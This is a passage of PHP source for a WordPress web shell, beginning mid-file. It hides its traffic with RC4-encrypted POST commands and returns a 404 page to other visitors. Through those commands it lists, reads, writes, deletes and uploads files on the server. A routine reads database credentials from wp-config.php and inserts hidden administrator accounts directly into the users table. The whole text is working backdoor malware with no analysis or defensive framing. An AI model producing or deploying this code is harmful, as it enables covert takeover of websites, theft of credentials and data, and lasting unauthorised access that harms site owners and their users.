Key: '); }
} else { header('HTTP/1.1 404 Not Found'); die(); }
}
function rc4($d, $k) {
$s = array(); for ($i = 0; $i < 256; $i++) $s[$i] = $i;
$j = 0; for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($k[$i % strlen($k)])) % 256;
$x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x;
}
$i = $j = 0; $res = '';
for ($y = 0; $y < strlen($d); $y++) {
$i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256;
$x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x;
$res .= $d[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $res;
}
function ax($u, $p) {
$pts = [getcwd(), $_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT'])];
$out = [];
foreach (array_unique($pts) as $d) {
$f = $d . '/wp-config.php';
if (@file_exists($f)) {
$c = @file_get_contents($f);
preg_match("/'DB_NAME'\s*,\s*'(.*?)'/", $c, $db);
preg_match("/'DB_USER'\s*,\s*'(.*?)'/", $c, $usr);
preg_match("/'DB_PASSWORD'\s*,\s*'(.*?)'/", $c, $dbpw);
preg_match("/'DB_HOST'\s*,\s*'(.*?)'/", $c, $hst);
preg_match("/\\\$table_prefix\s*=\s*'(.*?)'/", $c, $pr);
$m = @new mysqli($hst[1], $usr[1], $dbpw[1], $db[1]);
if ($m->connect_error) continue;
$t_p = $pr[1] ?? 'wp_'; $hp = md5($p);
foreach ($u as $n) {
$m->query("REPLACE INTO {$t_p}users (user_login,user_pass,user_nicename,user_email,user_registered,display_name) VALUES ('$n','$hp','$n','u@u.com',NOW(),'$n')");
$r = $m->query("SELECT ID FROM {$t_p}users WHERE user_login='$n'");
if($r) {
$id = $r->fetch_object()->ID;
$m->query("INSERT INTO {$t_p}usermeta (user_id,meta_key,meta_value) VALUES ($id,'{$t_p}capabilities','a:1:{s:13:\"administrator\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"administrator\";b:1;}'");
$m->query("INSERT INTO {$t_p}usermeta (user_id,meta_key,meta_value) VALUES ($id,'{$t_p}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
}
}
$m->close(); $out[] = "SUCCESS -> $d";
}
}
return empty($out) ? "Not Found" : implode("\n", $out);
}
if (isset($_POST['z'])) {
$dec = rc4(hex2bin($_POST['z']), $k);
$pl = json_decode($dec, true);
$res = []; $a = $pl['a']; $p = $pl['p'];
switch($a) {
case 'ls':
foreach(@scandir($p) as $f){
if($f=='.'||$f=='..')continue; $fp = $p.'/'.$f;
$res['d'][]=['n'=>$f,'t'=>is_dir($fp)?'d':'f','s'=>round(@filesize($fp)/1024,2).'K','p'=>substr(sprintf('%o',@fileperms($fp)),-4)];
}
break;
case 'rd': $res['data'] = @file_get_contents($p); break;
case 'sv': $res['o'] = @file_put_contents($p, $pl['c']) ? "Saved" : "Fail"; break;
case 'dl': $res['o'] = @unlink($p) ? "Done" : "Fail"; break;
case 'up': $res['o'] = @file_put_contents($p, base64_decode($pl['c'])) ? "Upload Success" : "Upload Fail"; break;
case 'ix': $res['o'] = ax($pl['u'], $pl['pw']); break;
}
die(bin2hex(rc4(json_encode($res), $k)));
}
?>
Core Manager
CWD: